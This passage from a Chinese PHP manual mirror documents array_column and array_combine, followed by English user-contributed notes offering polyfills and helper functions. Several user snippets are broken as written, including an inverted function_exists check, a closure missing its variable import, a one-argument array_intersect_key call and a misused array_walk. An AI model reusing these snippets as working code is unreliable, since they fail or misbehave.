    function array_chunk( $input, $size, $preserve_keys = false) {
        @reset( $input );

        $i = $j = 0;

        while( @list( $key, $value ) = @each( $input ) ) {
            if( !( isset( $chunks[$i] ) ) ) {
               $chunks[$i] = array();
            }

            if( count( $chunks[$i] ) < $size ) {
                if( $preserve_keys ) {
                    $chunks[$i][$key] = $value;
                    $j++;
                } else {
                    $chunks[$i][] = $value;
                }
            } else {
                $i++;

                if( $preserve_keys ) {
                    $chunks[$i][$key] = $value;
                    $j++;
                } else {
                    $j = 0;
                    $chunks[$i][$j] = $value;
                }
            }
        }

        return $chunks;
    }
}
?>


返回数组中指定的一列

  • ? array_chunk
  • array_combine ?
  • PHP Manual
  • 数组 函数
  • 返回数组中指定的一列

array_column

(PHP 5 >= 5.5.0, PHP 7)

array_column — 返回数组中指定的一列

说明

array_column ( array $input , mixed $column_key [, mixed $index_key = null ] ) : array

array_column() 返回input数组中键值为column_key的列， 如果指定了可选参数index_key，那么input数组中的这一列的值将作为返回数组中对应值的键。

参数

input

需要取出数组列的多维数组。 如果提供的是包含一组对象的数组，只有 public 属性会被直接取出。 为了也能取出 private 和 protected 属性，类必须实现 __get() 和 __isset() 魔术方法。

column_key

需要返回值的列，它可以是索引数组的列索引，或者是关联数组的列的键，也可以是属性名。 也可以是NULL，此时将返回整个数组（配合index_key参数来重置数组键的时候，非常管用）

index_key

作为返回数组的索引/键的列，它可以是该列的整数索引，或者字符串键值。

返回值

从多维数组中返回单列数组。

更新日志

版本 | 说明
7.0.0 | input 参数现在可以是包含对象的数组。

范例

Example #1 从结果集中取出first names列

<?php
// Array representing a possible record set returned from a database
$records = array(
    array(
        'id' => 2135,
        'first_name' => 'John',
        'last_name' => 'Doe',
    ),
    array(
        'id' => 3245,
        'first_name' => 'Sally',
        'last_name' => 'Smith',
    ),
    array(
        'id' => 5342,
        'first_name' => 'Jane',
        'last_name' => 'Jones',
    ),
    array(
        'id' => 5623,
        'first_name' => 'Peter',
        'last_name' => 'Doe',
    )
);

$first_names = array_column($records, 'first_name');
print_r($first_names);
?>

以上例程会输出：

Array
(
    [0] => John
    [1] => Sally
    [2] => Jane
    [3] => Peter
)

Example #2 从结果集中总取出last names列，用相应的id作为键值

<?php
// Using the $records array from Example #1
$last_names = array_column($records, 'last_name', 'id');
print_r($last_names);
?>

以上例程会输出：

Array
(
    [2135] => Doe
    [3245] => Smith
    [5342] => Jones
    [5623] => Doe
)

Example #3 username 列是从对象获取 public 的 "username" 属性

<?php

class User
{
    public $username;

    public function __construct(string $username)
    {
        $this->username = $username;
    }
}

$users = [
    new User('user 1'),
    new User('user 2'),
    new User('user 3'),
];

print_r(array_column($users, 'username'));
?>

以上例程会输出：

Array
(
    [0] => user 1
    [1] => user 2
    [2] => user 3
)

Example #4 获取 username 列，从对象通过魔术方法 __get() 获取 private 的 "username" 属性。

<?php

class Person
{
    private $name;

    public function __construct(string $name)
    {
        $this->name = $name;
    }

    public function __get($prop)
    {
        return $this->$prop;
    }

    public function __isset($prop) : bool
    {
        return isset($this->$prop);
    }
}

$people = [
    new Person('Fred'),
    new Person('Jane'),
    new Person('John'),
];

print_r(array_column($people, 'name'));
?>

以上例程会输出：

Array
(
    [0] => Fred
    [1] => Jane
    [2] => John
)
如果不提供__isset()，会返回空数组。

参见

  • » Recommended userland implementation for PHP lower than 5.5

User Contributed Notes

ff2 AT hotmail DOT co DOT uk 17-Aug-2018 07:40
Because the function was not available in my version of PHP, I wrote my own version and extended it a little based on my needs.

When you give an $indexkey value of -1 it preserves the associated array key values.

EXAMPLE:

$sample = array(
    'test1' => array(
        'val1' = 10,
        'val2' = 100
    ),
    'test2' => array(
        'val1' = 20,
        'val2' = 200
    ),
    'test3' => array(
        'val1' = 30,
        'val2' = 300
    )
);

print_r(array_column_ext($sample,'val1'));

OUTPUT:

Array
(
    [0] => 10
    [1] => 20
    [2] => 30
)

print_r(array_column_ext($sample,'val1',-1));

OUTPUT:

Array
(
    ['test1'] => 10
    ['test2'] => 20
    ['test3'] => 30
)

print_r(array_column_ext($sample,'val1','val2'));

OUTPUT:

Array
(
    [100] => 10
    [200] => 20
    [300] => 30
)

<?php
function array_column_ext($array, $columnkey, $indexkey = null) {
    $result = array();
    foreach ($array as $subarray => $value) {
        if (array_key_exists($columnkey,$value)) { $val = $array[$subarray][$columnkey]; }
        else if ($columnkey === null) { $val = $value; }
        else { continue; }

        if ($indexkey === null) { $result[] = $val; }
        elseif ($indexkey == -1 || array_key_exists($indexkey,$value)) {
            $result[($indexkey == -1)?$subarray:$array[$subarray][$indexkey]] = $val;
        }
    }
    return $result;
}
?>
balbuf 16-May-2018 02:54
This function does not preserve the original keys of the array (when not providing an index_key).

You can work around that like so:

<?php
// instead of
array_column($array, 'column');

// to preserve keys
array_combine(array_keys($array), array_column($array, 'column'));
?>
Dominik59 17-Aug-2017 02:26
Presented function is good when You want to flatten nested array base on only one column, but if You want to flatten whole array You can use this method:

/**
     * Method that transforms nested array into the flat one in below showed way:
     * [
     *      [
     *          [0]=>'today',
     *      ],
     *      [
     *          [0]=>'is',
     *          [1]=>'very',
     *          [2]=>   [
     *                      [0]=>'warm'
     *                  ],
     *      ],
     * ]
     *
     * Into:
     *
     * ['today','is','very','warm']
     *
     * @param $input
     * @return array
     */
    private function transformNestedArrayToFlatArray($input)
    {
        $output_array = [];
        if (is_array($input)) {
            foreach ($input as $value) {
                if (is_array($value)) {
                    $output_array = array_merge($output_array, $this->transformNestedArrayToFlatArray($value));
                } else {
                    array_push($output_array, $value);
                }
            }
        } else {
            array_push($output_array, $input);
        }

        return $output_array;
    }
robsonvnasc at gmail dot com 10-Aug-2017 05:11
Retrieve multiple columns from an array:

$columns_wanted = array('foo','bar');
$array = array('foo'=>1,'bar'=>2,'foobar'=>3);

$filtered_array = array_intersect_key(array_fill_keys($columns_wanted,''));

//filtered_array
// array('foo'=>1,'bar'=>2);
1184427175 at qq dot com 21-Jul-2017 02:52
//php < 5.5
if(function_exists('array_column'))
{
    function array_column($arr_data, $col)
    {
        $result = array_map(function($arr){return $arr[$col]}, $arr_data);
        return $result;
    }
}
katrinaelaine6 at gmail dot com 28-Feb-2017 07:13
array_column() will return duplicate values.

Instead of having to use array_unique(), use the $index_key as a hack.

**Caution: This may get messy when setting the $column_key and/or $index_key as integers.**

<?php

$records = [
        [ 'id' => 2135, 'first_name' => 'John' ],
    [ 'id' => 3245, 'first_name' => 'Sally' ],
    [ 'id' => 5342, 'first_name' => 'Jane' ],
    [ 'id' => 5623, 'first_name' => 'Peter' ],
        [ 'id' => 6982, 'first_name' => 'Sally' ]
];

print_r(array_unique(array_column($records, 'first_name')));

// Force uniqueness by making the key the value.
print_r(array_column($records, 'first_name', 'first_name'));
print_r(array_column($records, 'id', 'first_name'));

// Returns
/*

Array
(
    [0] => John
    [1] => Sally
    [2] => Jane
    [3] => Peter
)

Array
(
    [John] => John
    [Sally] => Sally
    [Jane] => Jane
    [Peter] => Peter
)

Array
(
    [John] => 2135
    [Sally] => 6982
    [Jane] => 5342
    [Peter] => 5623
)

*/

?>
Carlos Granados 30-Sep-2016 03:41
Here's a neat little snippet for filtering a set of records based on a the value of a column:

<?php

function dictionaryFilterList(array $source, array $data, string $column) : array
{
    $new     = array_column($data, $column);
    $keep     = array_diff($new, $source);

    return array_intersect_key($data, $keep);
 }

// Usage:

$users = [
    ['first_name' => 'Jed', 'last_name' => 'Lopez'],
    ['first_name' => 'Carlos', 'last_name' => 'Granados'],
    ['first_name' => 'Dirty', 'last_name' => 'Diana'],
    ['first_name' => 'John', 'last_name' => 'Williams'],
    ['first_name' => 'Betty', 'last_name' => 'Boop'],
    ['first_name' => 'Dan', 'last_name' => 'Daniels'],
    ['first_name' => 'Britt', 'last_name' => 'Anderson'],
    ['first_name' => 'Will', 'last_name' => 'Smith'],
    ['first_name' => 'Magic', 'last_name' => 'Johnson'],
];

var_dump(dictionaryFilterList(['Dirty', 'Dan'], $users, 'first_name'));

// Outputs:
[
    ['first_name' => 'Jed', 'last_name' => 'Lopez'],
    ['first_name' => 'Carlos', 'last_name' => 'Granados'],
    ['first_name' => 'John', 'last_name' => 'Williams'],
    ['first_name' => 'Betty', 'last_name' => 'Boop'],
    ['first_name' => 'Britt', 'last_name' => 'Anderson'],
    ['first_name' => 'Will', 'last_name' => 'Smith'],
    ['first_name' => 'Magic', 'last_name' => 'Johnson']
]

?>
nino at recgr dot com 26-Sep-2016 08:21
array_column implementation that works on multidimensional arrays (not just 2-dimensional):

<?php
function array_column_recursive(array $haystack, $needle) {
    $found = [];
    array_walk_recursive($haystack, function($value, $key) use (&$found, $needle) {
        if ($key == $needle)
            $found[] = $value;
    });
    return $found;
}

Taken from https://github.com/NinoSkopac/array_column_recursive
miguelfzarth at gmail dot com 18-Aug-2016 02:02
<?php
# for PHP < 5.5
# AND it works with arrayObject AND array of objects

if (!function_exists('array_column')) {
    function array_column($array, $columnKey, $indexKey = null)
    {
        $result = array();
        foreach ($array as $subArray) {
            if (is_null($indexKey) && array_key_exists($columnKey, $subArray)) {
                $result[] = is_object($subArray)?$subArray->$columnKey: $subArray[$columnKey];
            } elseif (array_key_exists($indexKey, $subArray)) {
                if (is_null($columnKey)) {
                    $index = is_object($subArray)?$subArray->$indexKey: $subArray[$indexKey];
                    $result[$index] = $subArray;
                } elseif (array_key_exists($columnKey, $subArray)) {
                    $index = is_object($subArray)?$subArray->$indexKey: $subArray[$indexKey];
                    $result[$index] = is_object($subArray)?$subArray->$columnKey: $subArray[$columnKey];
                }
            }
        }
        return $result;
    }
}
?>
greensea 06-Jul-2016 02:42
<?php
if (!function_exists('array_column')) {
    function array_column($input, $column_key, $index_key = NULL) {
        if (!is_array($input)) {
            trigger_error(__FUNCTION__ . '() expects parameter 1 to be array, ' . gettype($input) . ' given', E_USER_WARNING);
            return FALSE;
        }

        $ret = array();
        foreach ($input as $k => $v) {
            $value = NULL;
            if ($column_key === NULL) {
                $value = $v;
            }
            else {
                $value = $v[$column_key];
            }

            if ($index_key === NULL || !isset($v[$index_key])) {
                $ret[] = $value;
            }
            else {
                $ret[$v[$index_key]] = $value;
            }
        }

        return $ret;
    }
}
?>
benjam 25-Mar-2016 05:20
Note that this function will return the last entry when possible keys are duplicated.

<?php

$array = array(
    array(
        '1-1',
        'one',
        'one',
    ),
    array(
        '1-2',
        'two',
        'one',
    ),
);

var_dump(array_column($array, $value = 0, $index = 1));
var_dump(array_column($array, $value = 0, $index = 2));

// returns:
/*

array (size=2)
  'one' => string '1-1' (length=3)
  'two' => string '1-2' (length=3)

array (size=1)
  'one' => string '1-2' (length=3)

*/
?>
Nolan chou 26-Feb-2016 05:21
if (!function_exists('array_column'))
{
    function array_column($input, $column_key=null, $index_key=null)
    {
        $result = array();
        $i = 0;
        foreach ($input as $v)
        {
            $k = $index_key === null || !isset($v[$index_key]) ? $i++ : $v[$index_key];
            $result[$k] = $column_key === null ? $v : (isset($v[$column_key]) ? $v[$column_key] : null);
        }
        return $result;
    }
}
Anonymous 12-Feb-2016 04:45
I added a little more functionality to the more popular answers here to support the $index_key parameter for PHP < 5.5

<?php
// for php < 5.5
if (!function_exists('array_column')) {
    function array_column($input, $column_key, $index_key = null) {
        $arr = array_map(function($d) use ($column_key, $index_key) {
            if (!isset($d[$column_key])) {
                return null;
            }
            if ($index_key !== null) {
                return array($d[$index_key] => $d[$column_key]);
            }
            return $d[$column_key];
        }, $input);

        if ($index_key !== null) {
            $tmp = array();
            foreach ($arr as $ar) {
                $tmp[key($ar)] = current($ar);
            }
            $arr = $tmp;
        }
        return $arr;
    }
}
?>
kaspar dot wilbuer at web dot de 01-Feb-2016 10:59
If you need to extract more than one column from an array, you can use array_intersect_key on each element, like so:

function array_column_multi(array $input, array $column_keys) {
    $result = array();
    $column_keys = array_flip($column_keys);
    foreach($input as $key => $el) {
        $result[$key] = array_intersect_key($el, $column_keys);
    }
    return $result;
}
antonfedonjuk at gmail dot com 21-Jul-2015 06:26
My version is closer to the original than http://github.com/ramsey/array_column
<?php
/**
 * Provides functionality for array_column() to projects using PHP earlier than
 * version 5.5.
 * @copyright (c) 2015 WinterSilence (http://github.com/WinterSilence)
 * @license MIT
 */
if (!function_exists('array_column')) {
    /**
     * Returns an array of values representing a single column from the input
     * array.
     * @param array $array A multi-dimensional array from which to pull a
     *     column of values.
     * @param mixed $columnKey The column of values to return. This value may
     *     be the integer key of the column you wish to retrieve, or it may be
     *     the string key name for an associative array. It may also be NULL to
     *     return complete arrays (useful together with index_key to reindex
     *     the array).
     * @param mixed $indexKey The column to use as the index/keys for the
     *     returned array. This value may be the integer key of the column, or
     *     it may be the string key name.
     * @return array
     */
    function array_column(array $array, $columnKey, $indexKey = null)
    {
        $result = array();
        foreach ($array as $subArray) {
            if (!is_array($subArray)) {
                continue;
            } elseif (is_null($indexKey) && array_key_exists($columnKey, $subArray)) {
                $result[] = $subArray[$columnKey];
            } elseif (array_key_exists($indexKey, $subArray)) {
                if (is_null($columnKey)) {
                    $result[$subArray[$indexKey]] = $subArray;
                } elseif (array_key_exists($columnKey, $subArray)) {
                    $result[$subArray[$indexKey]] = $subArray[$columnKey];
                }
            }
        }
        return $result;
    }
}
?>
till at etill dot net 28-May-2015 03:32
Some remarks not included in the official documentation.

1) array_column does not support 1D arrays, in which case an empty array is returned.

2) The $column_key is zero-based.

3) If $column_key extends the valid index range an empty array is returned.
marianbucur17 at yahoo dot com 18-May-2015 06:19
If array_column is not available you can use the following function, which also has the $index_key parameter:

if (!function_exists('array_column')) {
    function array_column($array, $column_key, $index_key = null)
    {
        return array_reduce($array, function ($result, $item) use ($column_key, $index_key)
        {
            if (null === $index_key) {
                $result[] = $item[$column_key];
            } else {
                $result[$item[$index_key]] = $item[$column_key];
            }

            return $result;
        }, []);
    }
}
mohanrajnr at gmail dot com 06-May-2015 07:50
if array_column does not exist the below solution will work.

if(!function_exists("array_column"))
{

    function array_column($array,$column_name)
    {

        return array_map(function($element) use($column_name){return $element[$column_name];}, $array);

    }

}
robbieaverill[at]gmail.com 23-Mar-2015 07:51
Another option for older PHP versions (pre 5.5.0) is to use array_walk():

<?php
$array = array(
  array('some' => 'var', 'foo' => 'bar'),
  array('some' => 'var', 'foo' => 'bar'),
  array('some' => 'var', 'foo' => 'bar')
);

array_walk($array, function(&$value, $key, $return) {
  $value = $value[$return];
}, 'foo');

print_r($array);

// Array
// (
//     [0] => bar
//     [1] => bar
//     [2] => bar
// )

?>
kiler129 @ nowhere 10-Jan-2015 02:31
Please note this function accepts 2D-arrays ONLY, and silently returns empty array when non-array argument is provided.

Code:
class testObject {
    public $a = 123;
}
$testArray = [new testObject(), new testObject(), new testObject()];
$result = array_column($testArray, 'a')); //array(0) { }
hypxm at qq dot com 09-Dec-2014 06:36
a simple solution:

function arrayColumn(array $array, $column_key, $index_key=null){
        if(function_exists('array_column ')){
            return array_column($array, $column_key, $index_key);
        }
        $result = [];
        foreach($array as $arr){
            if(!is_array($arr)) continue;

            if(is_null($column_key)){
                $value = $arr;
            }else{
                $value = $arr[$column_key];
            }

            if(!is_null($index_key)){
                $key = $arr[$index_key];
                $result[$key] = $value;
            }else{
                $result[] = $value;
            }

        }

        return $result;
    }
coviex 30-Nov-2014 04:53
Value for existing key in the resulting array is rewritten with new value if it exists in another source sub-array.
myles at smyl dot es 23-Nov-2014 02:52
This didn't work for me recursively and needed to come up with a solution.

Here's my solution to the function:

if ( ! function_exists( 'array_column_recursive' ) ) {
    /**
     * Returns the values recursively from columns of the input array, identified by
     * the $columnKey.
     *
     * Optionally, you may provide an $indexKey to index the values in the returned
     * array by the values from the $indexKey column in the input array.
     *
     * @param array $input     A multi-dimensional array (record set) from which to pull
     *                         a column of values.
     * @param mixed $columnKey The column of values to return. This value may be the
     *                         integer key of the column you wish to retrieve, or it
     *                         may be the string key name for an associative array.
     * @param mixed $indexKey  (Optional.) The column to use as the index/keys for
     *                         the returned array. This value may be the integer key
     *                         of the column, or it may be the string key name.
     *
     * @return array
     */
    function array_column_recursive( $input = NULL, $columnKey = NULL, $indexKey = NULL ) {

        // Using func_get_args() in order to check for proper number of
        // parameters and trigger errors exactly as the built-in array_column()
        // does in PHP 5.5.
        $argc   = func_num_args();
        $params = func_get_args();
        if ( $argc < 2 ) {
            trigger_error( "array_column_recursive() expects at least 2 parameters, {$argc} given", E_USER_WARNING );

            return NULL;
        }
        if ( ! is_array( $params[ 0 ] ) ) {
            // Because we call back to this function, check if call was made by self to
            // prevent debug/error output for recursiveness :)
            $callers = debug_backtrace();
            if ( $callers[ 1 ][ 'function' ] != 'array_column_recursive' ){
                trigger_error( 'array_column_recursive() expects parameter 1 to be array, ' . gettype( $params[ 0 ] ) . ' given', E_USER_WARNING );
            }

            return NULL;
        }
        if ( ! is_int( $params[ 1 ] )
             && ! is_float( $params[ 1 ] )
             && ! is_string( $params[ 1 ] )
             && $params[ 1 ] !== NULL
             && ! ( is_object( $params[ 1 ] ) && method_exists( $params[ 1 ], '__toString' ) )
        ) {
            trigger_error( 'array_column_recursive(): The column key should be either a string or an integer', E_USER_WARNING );

            return FALSE;
        }
        if ( isset( $params[ 2 ] )
             && ! is_int( $params[ 2 ] )
             && ! is_float( $params[ 2 ] )
             && ! is_string( $params[ 2 ] )
             && ! ( is_object( $params[ 2 ] ) && method_exists( $params[ 2 ], '__toString' ) )
        ) {
            trigger_error( 'array_column_recursive(): The index key should be either a string or an integer', E_USER_WARNING );

            return FALSE;
        }
        $paramsInput     = $params[ 0 ];
        $paramsColumnKey = ( $params[ 1 ] !== NULL ) ? (string) $params[ 1 ] : NULL;
        $paramsIndexKey  = NULL;
        if ( isset( $params[ 2 ] ) ) {
            if ( is_float( $params[ 2 ] ) || is_int( $params[ 2 ] ) ) {
                $paramsIndexKey = (int) $params[ 2 ];
            } else {
                $paramsIndexKey = (string) $params[ 2 ];
            }
        }
        $resultArray = array();
        foreach ( $paramsInput as $row ) {
            $key    = $value = NULL;
            $keySet = $valueSet = FALSE;
            if ( $paramsIndexKey !== NULL && array_key_exists( $paramsIndexKey, $row ) ) {
                $keySet = TRUE;
                $key    = (string) $row[ $paramsIndexKey ];
            }
            if ( $paramsColumnKey === NULL ) {
                $valueSet = TRUE;
                $value    = $row;
            } elseif ( is_array( $row ) && array_key_exists( $paramsColumnKey, $row ) ) {
                $valueSet = TRUE;
                $value    = $row[ $paramsColumnKey ];
            }

            $possibleValue = array_column_recursive( $row, $paramsColumnKey, $paramsIndexKey );
            if ( $possibleValue ) {
                $resultArray = array_merge( $possibleValue, $resultArray );
            }

            if ( $valueSet ) {
                if ( $keySet ) {
                    $resultArray[ $key ] = $value;
                } else {
                    $resultArray[ ] = $value;
                }
            }
        }

        return $resultArray;
    }
}
WARrior 03-Oct-2013 12:25
You can also use array_map fucntion if you haven't array_column().

example:

$a = array(
    array(
        'id' => 2135,
        'first_name' => 'John',
        'last_name' => 'Doe',
    ),
    array(
        'id' => 3245,
        'first_name' => 'Sally',
        'last_name' => 'Smith',
    )
);

array_column($a, 'last_name');

becomes

array_map(function($element){return $element['last_name'];}, $a);


创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值

  • ? array_column
  • array_count_values ?
  • PHP Manual
  • 数组 函数
  • 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值

array_combine

(PHP 5, PHP 7)

array_combine — 创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值

说明

array_combine ( array $keys , array $values ) : array

返回一个 array，用来自 keys 数组的值作为键名，来自 values 数组的值作为相应的值。

参数

keys

将被作为新数组的键。非法的值将会被转换为字符串类型（string）。

values

将被作为 Array 的值。

返回值

返回合并的 array，如果两个数组的单元数不同则返回 FALSE。

错误／异常

如果作为keys的数组和作为values的数组的元素个数不一样，将会抛出一个警告错误（E_WARNING）。

更新日志

版本 | 说明
5.4.0 | （修复）早期版本中如果是空数组就报E_WARNING的错并且返回FALSE。

范例

Example #1 一个 array_combine() 简单的例子

<?php
$a = array('green', 'red', 'yellow');
$b = array('avocado', 'apple', 'banana');
$c = array_combine($a, $b);

print_r($c);
?>

以上例程会输出：

Array
(
    [green]  => avocado
    [red]    => apple
    [yellow] => banana
)

参见

  • array_merge() - 合并一个或多个数组
  • array_walk() - 使用用户自定义函数对数组中的每个元素做回调处理
  • array_values() - 返回数组中所有的值

User Contributed Notes

douglasrich9215 at gmail dot com 21-Mar-2018 09:18
I had an epiphany when try to handle NON-ASSOCIATIVE array forms in my controller. This little one liner can pretty much edit ANY kind of non-associative array. For example this one just returns an array of values inputed by a new user.

The $data value is the the json_decoded() value of a register form.
Here is used str_replace, you could definitely do a number of things like preg matches and other things.

$readyToProcessForUser = array_combine(str_replace("new_user_", "", array_keys($data)), $data);

You could also do the same for the values.

$readyToProcessForUser = array_combine(array_keys($data), str_replace("-", "", $data));

Or BOTH!
Use full if you don't want to walk an entire array and the keys through the same callback.

$readyToProcessForUser = array_combine(array_walk('trim', array_keys($data)), array_walk('custom_callback', array_values($data)));
PHPNewbie 22-Jul-2017 06:18
This will seem obvious to some, but if you need to preserve a duplicate key, being you have unique vars, you can switch the array_combine around, to where the vars are the keys, and this will output correctly.

This [default] formula auto-removes the duplicate keys.

$i=0;
foreach (array_combine($keys, $vars) as $key => $var)
{
$i=$i;
echo($key);
echo " ";
echo($var);
}

This formula accomplishes the same thing, in the same order, but the duplicate "keys" (which are now  vars) are kept.

$i=0;
foreach (array_combine($vars, $keys) as $var => $key)
{
$i=$i;
echo($key);
echo " ";
echo($var);
}

I know, I'm a newbie, but perhaps someone else will need this eventually. I couldn't find another solution anywhere.
elite1228 at 163 dot com 03-Jun-2016 09:57
$item = array();
array_map(
    function($element) use($column_name,$key,&$item){
        $item[$element[$key]] = $element[$column_name];
    },
    $data
);
welcome at el hyphen mustafa 29-Nov-2015 09:46
Further to loreiorg's script
in order to preserve duplicate keys when combining arrays.

I have modified the script to use a closure instead of create_function

Reason: see security issue flagged up in the documentation concerning create_function

<?php

function array_combine_($keys, $values){
    $result = array();

    foreach ($keys as $i => $k) {
     $result[$k][] = $values[$i];
     }

    array_walk($result, function(&$v){
     $v = (count($v) == 1) ? array_pop($v): $v;
     });

    return $result;
}

?>
info at maisuma dot jp 04-Mar-2015 01:00
array_combine() returns NULL instrad of FALSE, when non-array parameters are given (issuing warning).

<?php
  //NULL
  var_dump(array_combine('string',array(42)));
?>
ilanfir at gmail dot com 15-Feb-2015 10:58
I recently had to flip an array and group the elements by value, this snippet will do that:
<?php
function flipAndGroup($input) {
    $outArr = array();
    array_walk($input, function($value, $key) use (&$outArr) {
        if(!isset($outArr[$value]) || !is_array($outArr[$value])) {
            $outArr[$value] = [];
        }
        $outArr[$value][] = $key;
    });
    return $outArr;
}
?>

Example:
<?php
$users_countries = array(
    'username1' => 'US',
    'user2' => 'US',
    'newuser' => 'GB'
);
print_r(flipAndGroup($users_countries));
?>

Returns:
Array
(
    [US] => Array
        (
            [0] => username1
            [1] => user2
        )

    [GB] => Array
        (
            [0] => newuser
        )
)
ismorodin at hotmail dot com 04-Jun-2014 03:48
Function eliminates the error Throws E_WARNING if the number of elements in keys and values ??does not match.

function arrCombine($arr1 = array(),$arr2 = array()){
            if(is_array($arr1) && is_array($arr2)):
                $cntArr1 = count($arr1);
                $cntArr2 = count($arr2);
                $difference = max($cntArr1,$cntArr2) - min($cntArr1,$cntArr2);
                if($cntArr1 > $cntArr2):
                    for ($i=1;$i<=$difference;$i++){
                        $arr2[$cntArr2+$i] = $cntArr2 + 1;
                    }
                    return array_combine($arr1,$arr2);
                elseif($cntArr1 < $cntArr2):
                    for ($i=1;$i<=$difference;$i++){
                        $arr1[$cntArr1+$i] = count($arr1) + 1;
                    }
                    return array_combine($arr1,$arr2);
                else:
                    return array_combine($arr1,$arr2);
                endif;
            endif;
    }
$array = [1,4,5,6,7,8];
$array2 = ['john','smith'];

var_dump( arrCombine($array,$array2 ));

array (size=6)
  1 => string 'john' (length=4)
  4 => string 'smith' (length=5)
  5 => int 3
  6 => int 3
  7 => int 3
  8 => int 3

var_dump( arrCombine($array2,$array) );

array (size=6)
  'john' => int 1
  'smith' => int 4
  3 => int 5
  4 => int 6
  5 => int 7
  6 => int 8
loureirorg at gmail dot com 14-Mar-2013 10:48
If two keys are the same, the second one prevails.

Example:
<?php
print_r(array_combine(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => 2
    [b] => 3
)

But if you need to keep all values, you can use the function below:

<?php
function array_combine_($keys, $values)
{
    $result = array();
    foreach ($keys as $i => $k) {
        $result[$k][] = $values[$i];
    }
    array_walk($result, create_function('&$v', '$v = (count($v) == 1)? array_pop($v): $v;'));
    return    $result;
}

print_r(array_combine_(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => Array
        (
            [0] => 1
            [1] => 2
        )

    [b] => 3
)
aaron at aaronholmes dot net 22-Jan-2013 04:54
You can create an array hashset from a flat array, storing both keys and values, with array_combine(). This works with duplicate values in the array too.

<?php
$flat_array = array(
        'one',
        'two',
        'three',
        'three',
        'four',
        'one'
);

$set = array_combine($flat_array, $flat_array);

var_dump($set);
?>

This outputs the following:

array(4) {
    ["one"]=>
        string(3) "one"
    ["two"]=>
        string(3) "two"
    ["three"]=>
        string(5) "three"
    ["four"]=>
        string(4) "four"
}
g.REMOVETHIS.vincendon AT vithemis.com 18-Jul-2012 09:41
I was looking for a function that could combine an array to multiple one, for my MySQL GROUP_CONCAT() query, so I made this function.

<?php
    function array_combine_array(array $keys)
    {
        $arrays = func_get_args();
        $keys = array_shift($arrays);

        /* Checking if arrays are on the same model (array('INDEX'=> array()) or array()) */
        $check = count(array_unique(array_map('is_array',array_map('current',$arrays)))) === 1;
        if (!$check) { trigger_error('Function array_combine_array() expects all parameters to be same type array or array of array',E_USER_NOTICE); return array(); }

        /* Checking the model of arrays, array('INDEX' => array()) or Array() */
        $assocArray = is_array(array_shift(array_map('current',$arrays)));

        /* If empty $Keys is given, we fill an empty array */
        if (empty($keys)) $keys = array_keys(array_fill(0,max(($assocArray) ? array_map('count',array_map('current',$arrays)) : array_map('count',$arrays)),'foo'));

        /* Init */
        $ret=array();$i=0;
        /* Cycling on each keys values, making an offset for each */
        foreach($keys as $v)
        {
            /* Cycling on arrays */
            foreach ($arrays as $k)
            {
                if ($assocArray)
                {
                    /* Getting the index of the element */
                    $key = key($k);
                    /* If the offset exists, we place it */
                    $ret[$v][$key] = isset($k[$key][$i]) ? $k[$key][$i]:false;
                }
                /* Making the array with auto-made index */
                else
                    $ret[$v][] = isset($k[$i]) ? $k[$i]: false;
            }
            /* Getting the next offset */
            $i++;
        }
        return $ret;
    }

    /* Examples */
    $r = array(1,2,4,10);

    $a1 = array('one','two','four','ten');
    $a2 = array('un','deux','quatre','dix');
    $a3 = array('uno','dos','quatro','diez');

     print_r(array_combine_array($r,array('english' => $a1),array('french' => $a2),array('spanish' => $a3))); /* Associative index, associative subarray indexes */
     print_r(array_combine_array($r,$a1,array('french' => $a2),array('spanish' => $a3))); /* Ouputs Error */
     print_r(array_combine_array($r,$a1,$a2,$a3)); /* Associative index, auto-made subarray indexes */
     print_r(array_combine_array(array(),array('english' => $a1),array('french' => $a2),array('spanish' => $a3))); /* Auto-made index, associative subarray indexes */
?>
dejiakala at gmail dot com 27-Oct-2011 03:32
I needed to read CSV files into associative arrays with column headers as keys. Then I ran into a problem when you have empty columns at the end of a row because array_combine returns false if both arrays don't have the same number of elements. This function based on quecoder at gmail's combine_arr() below allowed me to pad either array or not when parsing my CSVs to arrays.
$a is the array of header columns and $b is an array of the current row retrieved with fgetcsv()

<?php

function array_combine_special($a, $b, $pad = TRUE) {
    $acount = count($a);
    $bcount = count($b);
    // more elements in $a than $b but we don't want to pad either
    if (!$pad) {
        $size = ($acount > $bcount) ? $bcount : $acount;
        $a = array_slice($a, 0, $size);
        $b = array_slice($b, 0, $size);
    } else {
        // more headers than row fields
        if ($acount > $bcount) {
            $more = $acount - $bcount;
            // how many fields are we missing at the end of the second array?
            // Add empty strings to ensure arrays $a and $b have same number of elements
            $more = $acount - $bcount;
            for($i = 0; $i < $more; $i++) {
                $b[] = "";
            }
        // more fields than headers
        } else if ($acount < $bcount) {
            $more = $bcount - $acount;
            // fewer elements in the first array, add extra keys
            for($i = 0; $i < $more; $i++) {
                $key = 'extra_field_0' . $i;
                $a[] = $key;
            }

        }
    }

    return array_combine($a, $b);
}
?>
Dan LaManna 17-Sep-2011 08:12
I needed a function that truncated extra values, and only went as far as keys without throwing a warning as array_combine does.

<?php
function safeArrayCombine($keys, $values) {
    $combinedArray = array();

    for ($i=0, $keyCount = count($keys); $i < $keyCount; $i++) {
         $combinedArray[$keys[$i]] = $values[$i];
    }

    return $combinedArray;
}
?>
zequez at gmail dot com 27-Mar-2011 03:51
If two keys are the same, the second one prevails.
Example:
<?php
print_r(array_combine(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => 2
    [b] => 3
)
claude dot pache at gmail dot com 12-May-2010 10:04
array_combine() has a strange bug/misfeature (as of PHP 5.3.2): There is no logical reason for <? array_combine(array(), array()) ?> throwing a warning and returning FALSE, instead of returning <? array() ?> (see http://bugs.php.net/bug.php?id=34857). Here is a quick workaround:
<?php
function array_real_combine($a, $b)
{
    return $a===array() && $b===array() ? array() : array_combine($a, $b);
}
?>
bradentkeith at dot dontspam dot gmail dot com 01-Apr-2010 12:20
I needed a function that would take keys from one unequal array and combine them with the values of another. Real life application:
Select 4 product types.
Each product has a serial.
There are 4 sets of products.

    <?php
        function array_combine2($arr1, $arr2) {
            $count1 = count($arr1);
            $count2 = count($arr2);
            $numofloops = $count2/$count1;

            $i = 0;
            while($i < $numofloops){
                $arr3 = array_slice($arr2, $count1*$i, $count1);
